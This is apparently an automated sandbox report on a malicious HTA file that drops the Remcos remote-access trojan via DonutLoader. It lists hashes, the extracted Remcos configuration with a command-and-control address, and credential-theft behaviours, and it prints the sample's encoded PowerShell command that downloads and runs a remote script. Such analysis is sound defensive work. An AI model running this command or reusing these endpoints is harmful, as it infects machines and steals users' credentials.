Analysis
- max time kernel
150s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
14/10/2026, 18:36
Static task
static1
Behavioral task
behavioral1
Sample
mangobar.hta
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
mangobar.hta
Resource
win11ltsc2024-20260911-en
General
- Target mangobar.hta
- Size 14KB
- Sample261014-w85dzaxt7m
- SHA256 18e9528268ab0ad7ce98883bd72a1738768f84a80222b1fbf7c333b912af614a
- MD5 e0f3ee00e672430b0860db6dc1bcf93b
- SHA1 2c2811718aab6660e91519374838ee12a41a69d8
- SHA512 7f43f176dd9501403d9c2f93c21c32781a7e0bb52b9a9ec535a9c17eecf91499e5376d5c85c8fe4cad5519f3398775fe49adc80088fc800bcd2bd71401660ae4
- SSDEEP 48:3ezYgKt5zYWOMKt/YDBuuuuuRhAuuXGbuuuFzYj7zYlLLP2Kt8izYMG:K3KHXKiDQbKO5KZY
- TLSH T1146240784764E4CD85CBB9E8196CB45395A3A2BF81840903BCDD1673D3F82BDDCA9146
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
remcos
-
7.3.1 Pro
-
YN
-
38.49.209.244:2313
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-VJYSR8
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: DonutLoader
DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.
- Detects DonutLoader 1 IoCs
resource yara_rule behavioral2/memory/3320-79-0x0000000016330000-0x0000000017330000-memory.dmp family_donutloader - Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 7 5628 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 3320 NEPGTVBKWUODKGQD.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook NEPGTVBKWUODKGQD.exe Key enumerated \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook NEPGTVBKWUODKGQD.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5204 cmd.exe 5932 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname NEPGTVBKWUODKGQD.exe - System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe - Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\ WScript.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\ WScript.exe - NTFS ADS 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\bestcamera.JS:Zone.Identifier cmd.exe - Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 5628 powershell.exe 5628 powershell.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 5628 powershell.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1100 wrote to memory of 5204 1100 mshta.exe 90 PID 5204 wrote to memory of 5628 5204 cmd.exe 92 PID 5628 wrote to memory of 4688 5628 powershell.exe 93 PID 4688 wrote to memory of 5932 4688 WScript.exe 94 PID 4688 wrote to memory of 3320 4688 WScript.exe 96 - outlook_office_path 1 IoCs
description ioc Process Key enumerated \REGISTRY\USER\S-1-5-21-560646293-820748483-2532804640-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook NEPGTVBKWUODKGQD.exe
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mangobar.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C POwErShELL -ex ByPAss -NOP -W 1 -eC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQBXAEcAZQB0ACAAIAAgAAkAIAAJACAAHSBoAHQAdABwADoALwAvADIAMAA5AC4ANQA0AC4AMQAwADIALgAxADYAOAAvADIANwAvAGIAZQBzAHQAYwBhAG0AZQByAGEALgBKAFMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQBUAGYAaQBMAEUAIAAgACAAIAAJACAACQAdICQAZQBuAFYAOgBhAHAAcABEAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAmACAAIAAdICQARQBuAHYAOgBBAHAAUABkAGEAdABBAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdIA== "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5204 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exePOwErShELL -ex ByPAss -NOP -W 1 -eC IAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQBXAEcAZQB0ACAAIAAgAAkAIAAJACAAHSBoAHQAdABwADoALwAvADIAMAA5AC4ANQA0AC4AMQAwADIALgAxADYAOAAvADIANwAvAGIAZQBzAHQAYwBhAG0AZQByAGEALgBKAFMAHSAgAAkACQAJAAkACQAJAAkACQAJAAkACQAtAG8AVQBUAGYAaQBMAEUAIAAgACAAIAAJACAACQAdICQAZQBuAFYAOgBhAHAAcABEAGEAVABhAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAgACAAIAAmACAAIAAdICQARQBuAHYAOgBBAHAAUABkAGEAdABBAFwAYgBlAHMAdABjAGEAbQBlAHIAYQAuAEoAUwAdIA== "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5628 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\bestcamera.JS"4⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4688 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c echo. > "C:\Users\Admin\AppData\Roaming\bestcamera.JS:Zone.Identifier"5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- NTFS ADS
PID:5932
-
-
C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe"C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe" C:\Users\Admin\Documents\DQGKDOUWKBVTGPEN5⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- Reads the TCP/IP host and domain name from the registry
- outlook_office_path
PID:3320
-
-
-
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1Windows Command Shell
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Roaming\bestcamera.JS
- Size 4.6MB
- SHA256 1feaac21fe7594ec627d8b4252f3c21718ca6f51fe2dedd1515e4ba6b27ea43d
- MD5 c8af02f48521a87ca659b293770ae803
- SHA1 662cbb9753bcee8b438c1fcad3e68212d4b50787
- SHA512 32d798584cd0a7df13e8100bed5d614e12177cfba365b7679825f141fe0941c37d19258841310050d0d88462af98e80367873637b9bb67451e2c5062bf463f26
- SSDEEP 98304:0NF1PP8MJa9C9Wi6stAsi3F5ixWlj+1sc4MnTmucrSPokwuEHolXhMHUlFL0b/Br:meChtus+F5ixW81sc4MnTmucrSPokwuG
- TLSH T13326D64E239496F637105B8F9239FC609D0F96033586DBE072DDF218366CD1A6B19AE3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\DQGKDOUWKBVTGPEN
- Size 1.1MB
- SHA256 3a5744995d68a7e4f80236edf898237f013d46324deee63377af7180dde389f9
- MD5 a4b4b603341324a25118b6273a62771f
- SHA1 71c0330af9339e2633be1c8e78cac6193893c4b3
- SHA512 78872f66b1e8e7563645168ae255c2a9421612890a203b4ff44454115ae173f16bbc7a2e501861fc365cb7905c83fc34336ea4f80d565fcf8452bd8ee6edd965
- SSDEEP 24576:QHMIlJukE3uMxmp8uZr+1O97DUuLu/cGNbMFMQVRjGX/CPi:2nYmphr+gF/Lu/cGNbMFMQVRjGX/CPi
- TLSH T1DD35CF8B728E7D2801F763E1CC6F4A9D6475D5E6474D0A270F44D0F07A7076CCAEAA2A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\Documents\NEPGTVBKWUODKGQD.exe
- Size 467KB
- SHA256 52f0c0230b580e2fdf53a378b5c6d0db9829af900dae43e0df8f18635cd9f0c1
- MD5 7f47d5ea49f77b99e25ca2918cea8920
- SHA1 b7b3dbcf32f3b7a78554efee75f0ad5746126c69
- SHA512 04f24c43bc290adb84d23453e3dbbbc317e2b2c9c752e4289501a9358c76116188a7d3cd9d3c44acf23254c4aa39bfaac49341e0085ed6d9e9f9eb1016325453
- SSDEEP 12288:26DGsq60U/A62U1q6CkrlA1NIcjBM4rF3/W:26DGsqEVAWhoIcO4rF3/W
- TLSH T17DA43703A2B353BDC667C1308B978BB2BA32BC9512316DBE2454FB311DB1CA1479F529
- MD5 SHA1 SHA512 SSDEEP TLSH